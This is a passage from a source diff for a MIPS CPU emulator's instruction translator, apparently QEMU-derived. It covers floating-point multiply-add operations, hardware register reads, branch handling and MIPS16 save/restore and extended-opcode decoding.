gen_store_fpr32(ctx, fp, fd); + gen_store_fpr32h(ctx, fph, fd); + tcg_gen_br(tcg_ctx, l2); + gen_set_label(tcg_ctx, l1); + tcg_gen_brcondi_tl(tcg_ctx, TCG_COND_NE, t0, 4, l2); + tcg_temp_free(tcg_ctx, t0); +#ifdef TARGET_WORDS_BIGENDIAN + gen_load_fpr32(ctx, fp, fs); + gen_load_fpr32h(ctx, fph, ft); + gen_store_fpr32h(ctx, fp, fd); + gen_store_fpr32(ctx, fph, fd); +#else + gen_load_fpr32h(ctx, fph, fs); + gen_load_fpr32(ctx, fp, ft); + gen_store_fpr32(ctx, fph, fd); + gen_store_fpr32h(ctx, fp, fd); +#endif + gen_set_label(tcg_ctx, l2); + tcg_temp_free_i32(tcg_ctx, fp); + tcg_temp_free_i32(tcg_ctx, fph); + } + opn = "alnv.ps"; + break; + case OPC_MADD_S: + check_cop1x(ctx); + { + TCGv_i32 fp0 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 fp1 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 fp2 = tcg_temp_new_i32(tcg_ctx); + + gen_load_fpr32(ctx, fp0, fs); + gen_load_fpr32(ctx, fp1, ft); + gen_load_fpr32(ctx, fp2, fr); + gen_helper_float_madd_s(tcg_ctx, fp2, tcg_ctx->cpu_env, fp0, fp1, fp2); + tcg_temp_free_i32(tcg_ctx, fp0); + tcg_temp_free_i32(tcg_ctx, fp1); + gen_store_fpr32(ctx, fp2, fd); + tcg_temp_free_i32(tcg_ctx, fp2); + } + opn = "madd.s"; + break; + case OPC_MADD_D: + check_cop1x(ctx); + check_cp1_registers(ctx, fd | fs | ft | fr); + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 fp1 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 fp2 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr64(ctx, fp0, fs); + gen_load_fpr64(ctx, fp1, ft); + gen_load_fpr64(ctx, fp2, fr); + gen_helper_float_madd_d(tcg_ctx, fp2, tcg_ctx->cpu_env, fp0, fp1, fp2); + tcg_temp_free_i64(tcg_ctx, fp0); + tcg_temp_free_i64(tcg_ctx, fp1); + gen_store_fpr64(ctx, fp2, fd); + tcg_temp_free_i64(tcg_ctx, fp2); + } + opn = "madd.d"; + break; + case OPC_MADD_PS: + check_cp1_64bitmode(ctx); + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 fp1 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 fp2 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr64(ctx, fp0, fs); + gen_load_fpr64(ctx, fp1, ft); + gen_load_fpr64(ctx, fp2, fr); + gen_helper_float_madd_ps(tcg_ctx, fp2, tcg_ctx->cpu_env, fp0, fp1, fp2); + tcg_temp_free_i64(tcg_ctx, fp0); + tcg_temp_free_i64(tcg_ctx, fp1); + gen_store_fpr64(ctx, fp2, fd); + tcg_temp_free_i64(tcg_ctx, fp2); + } + opn = "madd.ps"; + break; + case OPC_MSUB_S: + check_cop1x(ctx); + { + TCGv_i32 fp0 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 fp1 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 fp2 = tcg_temp_new_i32(tcg_ctx); + + gen_load_fpr32(ctx, fp0, fs); + gen_load_fpr32(ctx, fp1, ft); + gen_load_fpr32(ctx, fp2, fr); + gen_helper_float_msub_s(tcg_ctx, fp2, tcg_ctx->cpu_env, fp0, fp1, fp2); + tcg_temp_free_i32(tcg_ctx, fp0); + tcg_temp_free_i32(tcg_ctx, fp1); + gen_store_fpr32(ctx, fp2, fd); + tcg_temp_free_i32(tcg_ctx, fp2); + } + opn = "msub.s"; + break; + case OPC_MSUB_D: + check_cop1x(ctx); + check_cp1_registers(ctx, fd | fs | ft | fr); + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 fp1 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 fp2 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr64(ctx, fp0, fs); + gen_load_fpr64(ctx, fp1, ft); + gen_load_fpr64(ctx, fp2, fr); + gen_helper_float_msub_d(tcg_ctx, fp2, tcg_ctx->cpu_env, fp0, fp1, fp2); + tcg_temp_free_i64(tcg_ctx, fp0); + tcg_temp_free_i64(tcg_ctx, fp1); + gen_store_fpr64(ctx, fp2, fd); + tcg_temp_free_i64(tcg_ctx, fp2); + } + opn = "msub.d"; + break; + case OPC_MSUB_PS: + check_cp1_64bitmode(ctx); + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 fp1 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 fp2 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr64(ctx, fp0, fs); + gen_load_fpr64(ctx, fp1, ft); + gen_load_fpr64(ctx, fp2, fr); + gen_helper_float_msub_ps(tcg_ctx, fp2, tcg_ctx->cpu_env, fp0, fp1, fp2); + tcg_temp_free_i64(tcg_ctx, fp0); + tcg_temp_free_i64(tcg_ctx, fp1); + gen_store_fpr64(ctx, fp2, fd); + tcg_temp_free_i64(tcg_ctx, fp2); + } + opn = "msub.ps"; + break; + case OPC_NMADD_S: + check_cop1x(ctx); + { + TCGv_i32 fp0 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 fp1 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 fp2 = tcg_temp_new_i32(tcg_ctx); + + gen_load_fpr32(ctx, fp0, fs); + gen_load_fpr32(ctx, fp1, ft); + gen_load_fpr32(ctx, fp2, fr); + gen_helper_float_nmadd_s(tcg_ctx, fp2, tcg_ctx->cpu_env, fp0, fp1, fp2); + tcg_temp_free_i32(tcg_ctx, fp0); + tcg_temp_free_i32(tcg_ctx, fp1); + gen_store_fpr32(ctx, fp2, fd); + tcg_temp_free_i32(tcg_ctx, fp2); + } + opn = "nmadd.s"; + break; + case OPC_NMADD_D: + check_cop1x(ctx); + check_cp1_registers(ctx, fd | fs | ft | fr); + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 fp1 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 fp2 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr64(ctx, fp0, fs); + gen_load_fpr64(ctx, fp1, ft); + gen_load_fpr64(ctx, fp2, fr); + gen_helper_float_nmadd_d(tcg_ctx, fp2, tcg_ctx->cpu_env, fp0, fp1, fp2); + tcg_temp_free_i64(tcg_ctx, fp0); + tcg_temp_free_i64(tcg_ctx, fp1); + gen_store_fpr64(ctx, fp2, fd); + tcg_temp_free_i64(tcg_ctx, fp2); + } + opn = "nmadd.d"; + break; + case OPC_NMADD_PS: + check_cp1_64bitmode(ctx); + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 fp1 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 fp2 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr64(ctx, fp0, fs); + gen_load_fpr64(ctx, fp1, ft); + gen_load_fpr64(ctx, fp2, fr); + gen_helper_float_nmadd_ps(tcg_ctx, fp2, tcg_ctx->cpu_env, fp0, fp1, fp2); + tcg_temp_free_i64(tcg_ctx, fp0); + tcg_temp_free_i64(tcg_ctx, fp1); + gen_store_fpr64(ctx, fp2, fd); + tcg_temp_free_i64(tcg_ctx, fp2); + } + opn = "nmadd.ps"; + break; + case OPC_NMSUB_S: + check_cop1x(ctx); + { + TCGv_i32 fp0 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 fp1 = tcg_temp_new_i32(tcg_ctx); + TCGv_i32 fp2 = tcg_temp_new_i32(tcg_ctx); + + gen_load_fpr32(ctx, fp0, fs); + gen_load_fpr32(ctx, fp1, ft); + gen_load_fpr32(ctx, fp2, fr); + gen_helper_float_nmsub_s(tcg_ctx, fp2, tcg_ctx->cpu_env, fp0, fp1, fp2); + tcg_temp_free_i32(tcg_ctx, fp0); + tcg_temp_free_i32(tcg_ctx, fp1); + gen_store_fpr32(ctx, fp2, fd); + tcg_temp_free_i32(tcg_ctx, fp2); + } + opn = "nmsub.s"; + break; + case OPC_NMSUB_D: + check_cop1x(ctx); + check_cp1_registers(ctx, fd | fs | ft | fr); + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 fp1 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 fp2 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr64(ctx, fp0, fs); + gen_load_fpr64(ctx, fp1, ft); + gen_load_fpr64(ctx, fp2, fr); + gen_helper_float_nmsub_d(tcg_ctx, fp2, tcg_ctx->cpu_env, fp0, fp1, fp2); + tcg_temp_free_i64(tcg_ctx, fp0); + tcg_temp_free_i64(tcg_ctx, fp1); + gen_store_fpr64(ctx, fp2, fd); + tcg_temp_free_i64(tcg_ctx, fp2); + } + opn = "nmsub.d"; + break; + case OPC_NMSUB_PS: + check_cp1_64bitmode(ctx); + { + TCGv_i64 fp0 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 fp1 = tcg_temp_new_i64(tcg_ctx); + TCGv_i64 fp2 = tcg_temp_new_i64(tcg_ctx); + + gen_load_fpr64(ctx, fp0, fs); + gen_load_fpr64(ctx, fp1, ft); + gen_load_fpr64(ctx, fp2, fr); + gen_helper_float_nmsub_ps(tcg_ctx, fp2, tcg_ctx->cpu_env, fp0, fp1, fp2); + tcg_temp_free_i64(tcg_ctx, fp0); + tcg_temp_free_i64(tcg_ctx, fp1); + gen_store_fpr64(ctx, fp2, fd); + tcg_temp_free_i64(tcg_ctx, fp2); + } + opn = "nmsub.ps"; + break; + default: + MIPS_INVAL(opn); + generate_exception (ctx, EXCP_RI); + return; + } + (void)opn; /* avoid a compiler warning */ + MIPS_DEBUG("%s %s, %s, %s, %s", opn, fregnames[fd], fregnames[fr], + fregnames[fs], fregnames[ft]); +} + +static void gen_rdhwr(DisasContext *ctx, int rt, int rd) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + TCGv t0; + +#if !defined(CONFIG_USER_ONLY) + /* The Linux kernel will emulate rdhwr if it's not supported natively. + Therefore only check the ISA in system mode. */ + check_insn(ctx, ISA_MIPS32R2); +#endif + t0 = tcg_temp_new(tcg_ctx); + + switch (rd) { + case 0: + save_cpu_state(ctx, 1); + gen_helper_rdhwr_cpunum(tcg_ctx, t0, tcg_ctx->cpu_env); + gen_store_gpr(tcg_ctx, t0, rt); + break; + case 1: + save_cpu_state(ctx, 1); + gen_helper_rdhwr_synci_step(tcg_ctx, t0, tcg_ctx->cpu_env); + gen_store_gpr(tcg_ctx, t0, rt); + break; + case 2: + save_cpu_state(ctx, 1); + gen_helper_rdhwr_cc(tcg_ctx, t0, tcg_ctx->cpu_env); + gen_store_gpr(tcg_ctx, t0, rt); + break; + case 3: + save_cpu_state(ctx, 1); + gen_helper_rdhwr_ccres(tcg_ctx, t0, tcg_ctx->cpu_env); + gen_store_gpr(tcg_ctx, t0, rt); + break; + case 29: +#if defined(CONFIG_USER_ONLY) + tcg_gen_ld_tl(tcg_ctx, t0, tcg_ctx->cpu_env, + offsetof(CPUMIPSState, active_tc.CP0_UserLocal)); + gen_store_gpr(tcg_ctx, t0, rt); + break; +#else + if ((ctx->hflags & MIPS_HFLAG_CP0) || + (ctx->hflags & MIPS_HFLAG_HWRENA_ULR)) { + tcg_gen_ld_tl(tcg_ctx, t0, tcg_ctx->cpu_env, + offsetof(CPUMIPSState, active_tc.CP0_UserLocal)); + gen_store_gpr(tcg_ctx, t0, rt); + } else { + generate_exception(ctx, EXCP_RI); + } + break; +#endif + default: /* Invalid */ + MIPS_INVAL("rdhwr"); + generate_exception(ctx, EXCP_RI); + break; + } + tcg_temp_free(tcg_ctx, t0); +} + +static void gen_branch(DisasContext *ctx, int insn_bytes) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + if (ctx->hflags & MIPS_HFLAG_BMASK) { + int proc_hflags = ctx->hflags & MIPS_HFLAG_BMASK; + /* Branches completion */ + ctx->hflags &= ~MIPS_HFLAG_BMASK; + ctx->bstate = BS_BRANCH; + save_cpu_state(ctx, 0); + /* FIXME: Need to clear can_do_io. */ + switch (proc_hflags & MIPS_HFLAG_BMASK_BASE) { + case MIPS_HFLAG_FBNSLOT: + MIPS_DEBUG("forbidden slot"); + gen_goto_tb(ctx, 0, ctx->pc + insn_bytes); + break; + case MIPS_HFLAG_B: + /* unconditional branch */ + MIPS_DEBUG("unconditional branch"); + if (proc_hflags & MIPS_HFLAG_BX) { + tcg_gen_xori_i32(tcg_ctx, tcg_ctx->hflags, tcg_ctx->hflags, MIPS_HFLAG_M16); + } + gen_goto_tb(ctx, 0, ctx->btarget); + break; + case MIPS_HFLAG_BL: + /* blikely taken case */ + MIPS_DEBUG("blikely branch taken"); + gen_goto_tb(ctx, 0, ctx->btarget); + break; + case MIPS_HFLAG_BC: + /* Conditional branch */ + MIPS_DEBUG("conditional branch"); + { + int l1 = gen_new_label(tcg_ctx); + + tcg_gen_brcondi_tl(tcg_ctx, TCG_COND_NE, *(TCGv *)tcg_ctx->bcond, 0, l1); + gen_goto_tb(ctx, 1, ctx->pc + insn_bytes); + gen_set_label(tcg_ctx, l1); + gen_goto_tb(ctx, 0, ctx->btarget); + } + break; + case MIPS_HFLAG_BR: + /* unconditional branch to register */ + MIPS_DEBUG("branch to register"); + if (ctx->insn_flags & (ASE_MIPS16 | ASE_MICROMIPS)) { + TCGv t0 = tcg_temp_new(tcg_ctx); + TCGv_i32 t1 = tcg_temp_new_i32(tcg_ctx); + + tcg_gen_andi_tl(tcg_ctx, t0, *(TCGv *)tcg_ctx->btarget, 0x1); + tcg_gen_trunc_tl_i32(tcg_ctx, t1, t0); + tcg_temp_free(tcg_ctx, t0); + tcg_gen_andi_i32(tcg_ctx, tcg_ctx->hflags, tcg_ctx->hflags, ~(uint32_t)MIPS_HFLAG_M16); + tcg_gen_shli_i32(tcg_ctx, t1, t1, MIPS_HFLAG_M16_SHIFT); + tcg_gen_or_i32(tcg_ctx, tcg_ctx->hflags, tcg_ctx->hflags, t1); + tcg_temp_free_i32(tcg_ctx, t1); + + tcg_gen_andi_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_PC, *(TCGv *)tcg_ctx->btarget, ~(target_ulong)0x1); + } else { + tcg_gen_mov_tl(tcg_ctx, *(TCGv *)tcg_ctx->cpu_PC, *(TCGv *)tcg_ctx->btarget); + } + if (ctx->singlestep_enabled) { + save_cpu_state(ctx, 0); + gen_helper_0e0i(tcg_ctx, raise_exception, EXCP_DEBUG); + } + tcg_gen_exit_tb(tcg_ctx, 0); + break; + default: + MIPS_DEBUG("unknown branch"); + break; + } + } +} + +/* ISA extensions (ASEs) */ +/* MIPS16 extension to MIPS32 */ + +/* MIPS16 major opcodes */ +enum { + M16_OPC_ADDIUSP = 0x00, + M16_OPC_ADDIUPC = 0x01, + M16_OPC_B = 0x02, + M16_OPC_JAL = 0x03, + M16_OPC_BEQZ = 0x04, + M16_OPC_BNEQZ = 0x05, + M16_OPC_SHIFT = 0x06, + M16_OPC_LD = 0x07, + M16_OPC_RRIA = 0x08, + M16_OPC_ADDIU8 = 0x09, + M16_OPC_SLTI = 0x0a, + M16_OPC_SLTIU = 0x0b, + M16_OPC_I8 = 0x0c, + M16_OPC_LI = 0x0d, + M16_OPC_CMPI = 0x0e, + M16_OPC_SD = 0x0f, + M16_OPC_LB = 0x10, + M16_OPC_LH = 0x11, + M16_OPC_LWSP = 0x12, + M16_OPC_LW = 0x13, + M16_OPC_LBU = 0x14, + M16_OPC_LHU = 0x15, + M16_OPC_LWPC = 0x16, + M16_OPC_LWU = 0x17, + M16_OPC_SB = 0x18, + M16_OPC_SH = 0x19, + M16_OPC_SWSP = 0x1a, + M16_OPC_SW = 0x1b, + M16_OPC_RRR = 0x1c, + M16_OPC_RR = 0x1d, + M16_OPC_EXTEND = 0x1e, + M16_OPC_I64 = 0x1f +}; + +/* I8 funct field */ +enum { + I8_BTEQZ = 0x0, + I8_BTNEZ = 0x1, + I8_SWRASP = 0x2, + I8_ADJSP = 0x3, + I8_SVRS = 0x4, + I8_MOV32R = 0x5, + I8_MOVR32 = 0x7 +}; + +/* RRR f field */ +enum { + RRR_DADDU = 0x0, + RRR_ADDU = 0x1, + RRR_DSUBU = 0x2, + RRR_SUBU = 0x3 +}; + +/* RR funct field */ +enum { + RR_JR = 0x00, + RR_SDBBP = 0x01, + RR_SLT = 0x02, + RR_SLTU = 0x03, + RR_SLLV = 0x04, + RR_BREAK = 0x05, + RR_SRLV = 0x06, + RR_SRAV = 0x07, + RR_DSRL = 0x08, + RR_CMP = 0x0a, + RR_NEG = 0x0b, + RR_AND = 0x0c, + RR_OR = 0x0d, + RR_XOR = 0x0e, + RR_NOT = 0x0f, + RR_MFHI = 0x10, + RR_CNVT = 0x11, + RR_MFLO = 0x12, + RR_DSRA = 0x13, + RR_DSLLV = 0x14, + RR_DSRLV = 0x16, + RR_DSRAV = 0x17, + RR_MULT = 0x18, + RR_MULTU = 0x19, + RR_DIV = 0x1a, + RR_DIVU = 0x1b, + RR_DMULT = 0x1c, + RR_DMULTU = 0x1d, + RR_DDIV = 0x1e, + RR_DDIVU = 0x1f +}; + +/* I64 funct field */ +enum { + I64_LDSP = 0x0, + I64_SDSP = 0x1, + I64_SDRASP = 0x2, + I64_DADJSP = 0x3, + I64_LDPC = 0x4, + I64_DADDIU5 = 0x5, + I64_DADDIUPC = 0x6, + I64_DADDIUSP = 0x7 +}; + +/* RR ry field for CNVT */ +enum { + RR_RY_CNVT_ZEB = 0x0, + RR_RY_CNVT_ZEH = 0x1, + RR_RY_CNVT_ZEW = 0x2, + RR_RY_CNVT_SEB = 0x4, + RR_RY_CNVT_SEH = 0x5, + RR_RY_CNVT_SEW = 0x6, +}; + +static int xlat (int r) +{ + static int map[] = { 16, 17, 2, 3, 4, 5, 6, 7 }; + + return map[r]; +} + +static void gen_mips16_save (DisasContext *ctx, + int xsregs, int aregs, + int do_ra, int do_s0, int do_s1, + int framesize) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + TCGv **cpu_gpr = (TCGv **)tcg_ctx->cpu_gpr; + TCGv t0 = tcg_temp_new(tcg_ctx); + TCGv t1 = tcg_temp_new(tcg_ctx); + int args, astatic; + + switch (aregs) { + case 0: + case 1: + case 2: + case 3: + case 11: + args = 0; + break; + case 4: + case 5: + case 6: + case 7: + args = 1; + break; + case 8: + case 9: + case 10: + args = 2; + break; + case 12: + case 13: + args = 3; + break; + case 14: + args = 4; + break; + default: + generate_exception(ctx, EXCP_RI); + return; + } + + switch (args) { + case 4: + gen_base_offset_addr(ctx, t0, 29, 12); + gen_load_gpr(ctx, t1, 7); + tcg_gen_qemu_st_tl(ctx->uc, t1, t0, ctx->mem_idx, MO_TEUL); + /* Fall through */ + case 3: + gen_base_offset_addr(ctx, t0, 29, 8); + gen_load_gpr(ctx, t1, 6); + tcg_gen_qemu_st_tl(ctx->uc, t1, t0, ctx->mem_idx, MO_TEUL); + /* Fall through */ + case 2: + gen_base_offset_addr(ctx, t0, 29, 4); + gen_load_gpr(ctx, t1, 5); + tcg_gen_qemu_st_tl(ctx->uc, t1, t0, ctx->mem_idx, MO_TEUL); + /* Fall through */ + case 1: + gen_base_offset_addr(ctx, t0, 29, 0); + gen_load_gpr(ctx, t1, 4); + tcg_gen_qemu_st_tl(ctx->uc, t1, t0, ctx->mem_idx, MO_TEUL); + } + + gen_load_gpr(ctx, t0, 29); + +#define DECR_AND_STORE(reg) do { \ + tcg_gen_subi_tl(tcg_ctx, t0, t0, 4); \ + gen_load_gpr(ctx, t1, reg); \ + tcg_gen_qemu_st_tl(ctx->uc, t1, t0, ctx->mem_idx, MO_TEUL); \ + } while (0) + + if (do_ra) { + DECR_AND_STORE(31); + } + + switch (xsregs) { + case 7: + DECR_AND_STORE(30); + /* Fall through */ + case 6: + DECR_AND_STORE(23); + /* Fall through */ + case 5: + DECR_AND_STORE(22); + /* Fall through */ + case 4: + DECR_AND_STORE(21); + /* Fall through */ + case 3: + DECR_AND_STORE(20); + /* Fall through */ + case 2: + DECR_AND_STORE(19); + /* Fall through */ + case 1: + DECR_AND_STORE(18); + } + + if (do_s1) { + DECR_AND_STORE(17); + } + if (do_s0) { + DECR_AND_STORE(16); + } + + switch (aregs) { + case 0: + case 4: + case 8: + case 12: + case 14: + astatic = 0; + break; + case 1: + case 5: + case 9: + case 13: + astatic = 1; + break; + case 2: + case 6: + case 10: + astatic = 2; + break; + case 3: + case 7: + astatic = 3; + break; + case 11: + astatic = 4; + break; + default: + generate_exception(ctx, EXCP_RI); + return; + } + + if (astatic > 0) { + DECR_AND_STORE(7); + if (astatic > 1) { + DECR_AND_STORE(6); + if (astatic > 2) { + DECR_AND_STORE(5); + if (astatic > 3) { + DECR_AND_STORE(4); + } + } + } + } +#undef DECR_AND_STORE + + tcg_gen_subi_tl(tcg_ctx, *cpu_gpr[29], *cpu_gpr[29], framesize); + tcg_temp_free(tcg_ctx, t0); + tcg_temp_free(tcg_ctx, t1); +} + +static void gen_mips16_restore (DisasContext *ctx, + int xsregs, int aregs, + int do_ra, int do_s0, int do_s1, + int framesize) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + TCGv **cpu_gpr = (TCGv **)tcg_ctx->cpu_gpr; + int astatic; + TCGv t0 = tcg_temp_new(tcg_ctx); + TCGv t1 = tcg_temp_new(tcg_ctx); + + tcg_gen_addi_tl(tcg_ctx, t0, *cpu_gpr[29], framesize); + +#define DECR_AND_LOAD(reg) do { \ + tcg_gen_subi_tl(tcg_ctx, t0, t0, 4); \ + tcg_gen_qemu_ld_tl(ctx->uc, t1, t0, ctx->mem_idx, MO_TESL); \ + gen_store_gpr(tcg_ctx, t1, reg); \ + } while (0) + + if (do_ra) { + DECR_AND_LOAD(31); + } + + switch (xsregs) { + case 7: + DECR_AND_LOAD(30); + /* Fall through */ + case 6: + DECR_AND_LOAD(23); + /* Fall through */ + case 5: + DECR_AND_LOAD(22); + /* Fall through */ + case 4: + DECR_AND_LOAD(21); + /* Fall through */ + case 3: + DECR_AND_LOAD(20); + /* Fall through */ + case 2: + DECR_AND_LOAD(19); + /* Fall through */ + case 1: + DECR_AND_LOAD(18); + } + + if (do_s1) { + DECR_AND_LOAD(17); + } + if (do_s0) { + DECR_AND_LOAD(16); + } + + switch (aregs) { + case 0: + case 4: + case 8: + case 12: + case 14: + astatic = 0; + break; + case 1: + case 5: + case 9: + case 13: + astatic = 1; + break; + case 2: + case 6: + case 10: + astatic = 2; + break; + case 3: + case 7: + astatic = 3; + break; + case 11: + astatic = 4; + break; + default: + generate_exception(ctx, EXCP_RI); + return; + } + + if (astatic > 0) { + DECR_AND_LOAD(7); + if (astatic > 1) { + DECR_AND_LOAD(6); + if (astatic > 2) { + DECR_AND_LOAD(5); + if (astatic > 3) { + DECR_AND_LOAD(4); + } + } + } + } +#undef DECR_AND_LOAD + + tcg_gen_addi_tl(tcg_ctx, *cpu_gpr[29], *cpu_gpr[29], framesize); + tcg_temp_free(tcg_ctx, t0); + tcg_temp_free(tcg_ctx, t1); +} + +static void gen_addiupc (DisasContext *ctx, int rx, int imm, + int is_64_bit, int extended) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + TCGv **cpu_gpr = (TCGv **)tcg_ctx->cpu_gpr; + TCGv t0; + + if (extended && (ctx->hflags & MIPS_HFLAG_BMASK)) { + generate_exception(ctx, EXCP_RI); + return; + } + + t0 = tcg_temp_new(tcg_ctx); + + tcg_gen_movi_tl(tcg_ctx, t0, pc_relative_pc(ctx)); + tcg_gen_addi_tl(tcg_ctx, *cpu_gpr[rx], t0, imm); + if (!is_64_bit) { + tcg_gen_ext32s_tl(tcg_ctx, *cpu_gpr[rx], *cpu_gpr[rx]); + } + + tcg_temp_free(tcg_ctx, t0); +} + +#if defined(TARGET_MIPS64) +static void decode_i64_mips16 (DisasContext *ctx, + int ry, int funct, int16_t offset, + int extended) +{ + switch (funct) { + case I64_LDSP: + check_mips_64(ctx); + offset = extended ? offset : offset << 3; + gen_ld(ctx, OPC_LD, ry, 29, offset); + break; + case I64_SDSP: + check_mips_64(ctx); + offset = extended ? offset : offset << 3; + gen_st(ctx, OPC_SD, ry, 29, offset); + break; + case I64_SDRASP: + check_mips_64(ctx); + offset = extended ? offset : (ctx->opcode & 0xff) << 3; + gen_st(ctx, OPC_SD, 31, 29, offset); + break; + case I64_DADJSP: + check_mips_64(ctx); + offset = extended ? offset : ((int8_t)ctx->opcode) << 3; + gen_arith_imm(ctx, OPC_DADDIU, 29, 29, offset); + break; + case I64_LDPC: + if (extended && (ctx->hflags & MIPS_HFLAG_BMASK)) { + generate_exception(ctx, EXCP_RI); + } else { + offset = extended ? offset : offset << 3; + gen_ld(ctx, OPC_LDPC, ry, 0, offset); + } + break; + case I64_DADDIU5: + check_mips_64(ctx); + offset = extended ? offset : ((int8_t)(offset << 3)) >> 3; + gen_arith_imm(ctx, OPC_DADDIU, ry, ry, offset); + break; + case I64_DADDIUPC: + check_mips_64(ctx); + offset = extended ? offset : offset << 2; + gen_addiupc(ctx, ry, offset, 1, extended); + break; + case I64_DADDIUSP: + check_mips_64(ctx); + offset = extended ? offset : offset << 2; + gen_arith_imm(ctx, OPC_DADDIU, ry, 29, offset); + break; + } +} +#endif + +static int decode_extended_mips16_opc (CPUMIPSState *env, DisasContext *ctx) +{ + TCGContext *tcg_ctx = ctx->uc->tcg_ctx; + TCGv **cpu_gpr = (TCGv **)tcg_ctx->cpu_gpr; + int extend = cpu_lduw_code(env, ctx->pc + 2); + int op, rx, ry, funct, sa; + int16_t imm, offset; + + ctx->opcode = (ctx->opcode << 16) | extend; + op = (ctx->opcode >> 11) & 0x1f; + sa = (ctx->opcode >> 22) & 0x1f; + funct = (ctx->opcode >> 8) & 0x7; + rx = xlat((ctx->opcode >> 8) & 0x7); + ry = xlat((ctx->opcode >> 5) & 0x7); + offset = imm = (int16_t) (((ctx->opcode >> 16) & 0x1f) << 11 + | ((ctx->opcode >> 21) & 0x3f) << 5 + | (ctx->opcode & 0x1f)); + + /* The extended opcodes cleverly reuse the opcodes from their 16-bit + counterparts. */ + switch (op) { + case M16_OPC_ADDIUSP: + gen_arith_imm(ctx, OPC_ADDIU, rx, 29, imm); + break; + case M16_OPC_ADDIUPC: + gen_addiupc(ctx, rx, imm, 0, 1); + break; + case M16_OPC_B: + gen_compute_branch(ctx, OPC_BEQ, 4, 0, 0, (uint32_t)offset << 1, 0); + /* No delay slot, so just process as a normal instruction */ + break; + case M16_OPC_BEQZ: + gen_compute_branch(ctx, OPC_BEQ, 4, rx, 0, (uint16_t)offset << 1, 0); + /* No delay slot, so just process as a normal instruction */ + break; + case M16_OPC_BNEQZ: + gen_compute_branch(ctx, OPC_BNE, 4, rx, 0, (uint16_t)offset << 1, 0); + /* No delay slot, so just process as a normal instruction */ + break; + case M16_OPC_SHIFT: + switch (ctx->opcode & 0x3) { + case 0x0: + gen_shift_imm(ctx, OPC_SLL, rx, ry, sa); + break; + case 0x1: +#if defined(TARGET_MIPS64) + check_mips_64(ctx); + gen_shift_imm(ctx, OPC_DSLL, rx, ry, sa); +#else + generate_exception(ctx, EXCP_RI); +#endif + break; + case 0x2: + gen_shift_imm(ctx, OPC_SRL, rx, ry, sa); + break; + case 0x3: + gen_shift_imm(ctx, OPC_SRA, rx, ry, sa); + break; + } + break; +#if defined(TARGET_MIPS64) + case M16_OPC_LD: + check_mips_64(ctx); + gen_ld(ctx, OPC_LD, ry, rx, offset); + break; +#endif + case M16_OPC_RRIA: + imm = ctx->opcode & 0xf; + imm = imm | ((ctx->opcode >> 20) & 0x7f) << 4; + imm = imm | ((ctx->opcode >> 16) & 0xf) << 11; + imm = (int16_t) (imm << 1) >> 1; + if ((ctx->opcode >> 4) & 0x1) { +#if defined(TARGET_MIPS64) + check_mips_64(ctx); + gen_arith_imm(ctx, OPC_DADDIU, ry, rx, imm); +#else + generate_exception(ctx, EXCP_RI); +#endif + } else { + gen_arith_imm(ctx, OPC_ADDIU, ry, rx, imm); + } + break; + case M16_OPC_ADDIU8: + gen_arith_imm(ctx, OPC_ADDIU, rx, rx, imm); + break; + case M16_OPC_SLTI: + gen_slt_imm(ctx, OPC_SLTI, 24, rx, imm); + break; + case M16_OPC_SLTIU: + gen_slt_imm(ctx, OPC_SLTIU, 24, rx, imm); + break; + case M16_OPC_I8: + switch (funct) { + case I8_BTEQZ: + gen_compute_branch(ctx, OPC_BEQ, 4, 24, 0, (uint16_t)offset << 1, 0); + break; + case I8_BTNEZ: + gen_compute_branch(ctx, OPC_BNE, 4, 24, 0, (uint16_t)offset << 1, 0); + break; + case I8_SWRASP: + gen_st(ctx, OPC_SW, 31, 29, imm); + break; + case I8_ADJSP: + gen_arith_imm(ctx, OPC_ADDIU, 29, 29, imm); + break; + case I8_SVRS: + { + int xsregs = (ctx->opcode >> 24) & 0x7; + int aregs = (ctx->opcode >> 16) & 0xf; + int do_ra = (ctx->opcode >> 6) & 0x1; + int do_s0 = (ctx->opcode >> 5) & 0x1; + int do_s1 = (ctx->opcode >> 4) & 0x1; + int framesize = (((ctx->opcode >> 20) & 0xf) << 4 + | (ctx->opcode & 0xf)) << 3; + + if (ctx->opcode & (1 << 7)) { + gen_mips16_save(ctx, xsregs, aregs, + do_ra, do_s0, do_s1, + framesize); + } else { + gen_mips16_restore(ctx, xsregs, aregs, + do_ra, do_s0, do_s1, + framesize); + } + } + break; + default: + generate_exception(ctx, EXCP_RI); + break; + } + break; + case 